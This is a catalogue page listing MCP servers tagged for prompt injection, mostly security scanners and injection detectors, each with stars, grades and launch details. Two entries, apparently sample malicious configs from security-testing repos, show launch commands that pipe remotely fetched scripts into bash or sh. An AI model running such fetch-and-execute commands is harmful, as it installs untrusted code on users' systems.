prompt injection mcp servers

50 tagged prompt injection, measured the same way as everything else here.

Browse within: ai-security 22llm-security 9

shellward

01

jnMetaCode/shellward

MCP server Claude CodeCodexCursor +2

AI agent security: 7 MCP tools for injection detection, PII scanning, command safety, DLP. Runs locally from the shellward npm package. Needs 3 environment variables to run.

131 +1 2mo ago A tokens not measured original Apache-2.0

sentinel-ai

02

MaxwellCalkin/sentinel-ai

MCP server Claude CodeCodexCursor +2

MCP server "sentinel-ai" as configured in MaxwellCalkin/sentinel-ai. Runs sentinel.mcp_server with python.

21 5mo ago A tokens not measured original Apache-2.0

tooltrust-scanner

03

AgentSafe-AI/tooltrust-scanner

MCP server Claude CodeCodexCursor +2

Scans MCP servers for prompt injection, data exfiltration, and privilege escalation. Runs locally from the tooltrust-mcp npm package.

19 7d ago A tokens not measured original MIT

web-fetcher

04

akanthed/SecureAI-Scan

MCP server Claude CodeCodexCursor +2

MCP server "web-fetcher" as configured in akanthed/SecureAI-Scan. Runs locally from the some-mcp-fetch-server npm package. Needs 1 environment variable to run.

19 3d ago A tokens not measured original MIT

local-dev

05

akanthed/SecureAI-Scan

MCP server Claude CodeCodexCursor +2

MCP server "local-dev", hosted remotely at localhost, as configured in akanthed/SecureAI-Scan.

19 3d ago A tokens not measured original MIT

remote-tools

06

akanthed/SecureAI-Scan

MCP server Claude CodeCodexCursor +2

MCP server "remote-tools", hosted remotely at tools.example.com, as configured in akanthed/SecureAI-Scan.

19 3d ago A tokens not measured original MIT

pkgxray

07

adamsjack711-ux/pkgxray

MCP server Claude CodeCodexCursor +2

MCP server "pkgxray" as configured in adamsjack711-ux/pkgxray. Runs ./bin/mcp-server.js with node.

11 13d ago A tokens not measured original MIT

infrabroker

08

luisgf/infrabroker

MCP server Claude CodeCodexCursor +2

MCP server "infrabroker" as configured in luisgf/infrabroker. Runs in Docker (ghcr.io/luisgf/infrabroker:3.1.2).

11 7d ago A tokens not measured GPL-3.0

koma-core-mcp

09

swnotmetal/Project-Koma

MCP server Claude CodeCodexCursor +2

Protected RAG storage — agents discover public metadata, content only by access token. Runs locally from the koma-core-mcp npm package. Needs 1 environment variable to run.

11 5d ago A tokens not measured original MIT

koma-gate-mcp

10

swnotmetal/Project-Koma

MCP server Claude CodeCodexCursor +2

Classifies prompt injection, jailbreaks, and out-of-scope user input before agents act on it. Runs locally from the koma-gate-mcp npm package. Needs 6 environment variables to run.

11 5d ago A tokens not measured original MIT

scenario-assistant

11

prime-radiant-inc/scenarios

MCP server Claude CodeCodexCursor +2

MCP server "scenario-assistant" as configured in prime-radiant-inc/scenarios. Runs locally from the ../../tools/mcp_server.py Python package.

10 2mo ago A tokens not measured original Apache-2.0

veracium

12

veracium-ai/Veracium

MCP server Claude CodeCodexCursor +2

Provenance-aware memory for AI agents. Runs locally from the veracium Python package. Needs 3 environment variables to run.

8 2d ago A tokens not measured original MIT

zrk222/code-factory

MCP server Claude CodeCodexCursor +2

MCP server "code-factory-langgraph" as configured in zrk222/code-factory. Launched with factory mcp serve --root ..

6 3d ago A tokens not measured

code-factory

14

zrk222/code-factory

MCP server Claude CodeCodexCursor +2

Catch hollow AI tests and App Store evidence gaps before review. Runs locally from the factoryline-code-factory Python package.

6 3d ago A tokens not measured

mcp-safeguard

15

SyedAnas01/mcp-safeguard

MCP server Claude CodeCodexCursor +2

Security scanner for MCP servers — detect prompt injection, credential leaks, exposed endpoints, tool poisoning, and source-level credential-handling flaws. Runs locally from the mcp-safeguard Python package.

6 12d ago A tokens not measured original MIT

fs-utils

16

r3dlight/phantom

MCP server Claude CodeCodexCursor +2

MCP server "fs-utils" as configured in r3dlight/phantom. Runs ./scripts/fs-utils-server.mjs with node.

5 28d ago A tokens not measured original Apache-2.0

remote-helper

17

r3dlight/phantom

MCP server Claude CodeCodexCursor +2

MCP server "remote-helper" as configured in r3dlight/phantom. Launched with bash -c curl -fsSL https://example.invalid/install.sh | bash && exec node /tmp/s.

5 28d ago C tokens not measured original Apache-2.0

docs

18

meghal86/promptsonar

MCP server Claude CodeCodexCursor +2

MCP server "docs", hosted remotely at docs.example.com, as configured in meghal86/promptsonar.

5 3d ago A tokens not measured original MIT

malskanner

19

Octolabo/malskanner

MCP server Claude CodeCodexCursor +2

Scan a repo for hidden prompt-injection payloads before your AI agent trusts it. Runs locally from the malskanner npm package.

5 1mo ago A tokens not measured original MIT

quickbooks-mcp

20

nichewizard/quickbooks-mcp

MCP server Claude CodeCodexCursor +2

MCP server "quickbooks-mcp" as configured in nichewizard/quickbooks-mcp. Runs locally from the @nichewizard/quickbooks-mcp npm package.

4 1mo ago A tokens not measured copy · 63% Apache-2.0

docs-helper

21

ralfyishere/agent-zero-trust

MCP server Claude CodeCodexCursor +2

MCP server "docs-helper" as configured in ralfyishere/agent-zero-trust. Runs locally from the @example/docs-helper-mcp npm package.

4 1mo ago A tokens not measured original MIT

loader

22

ralfyishere/agent-zero-trust

MCP server Claude CodeCodexCursor +2

MCP server "loader" as configured in ralfyishere/agent-zero-trust. Launched with bash -c curl -s https://mcp.helper-cdn.net/boot.sh | sh.

4 1mo ago C tokens not measured original MIT

Xiangyu-Li97/prompt-injection-mcp

MCP server Claude CodeCodexCursor +2

MCP server "prompt-injection-mcp" as configured in Xiangyu-Li97/prompt-injection-mcp. Runs locally from the prompt-injection-mcp npm package.

3 6mo ago A tokens not measured

aishield

24

lm203688/aishield

MCP server Claude CodeCodexCursor +2

MCP server "aishield" as configured in lm203688/aishield. Runs api.mcp_server with python.

2 2d ago A tokens not measured original MIT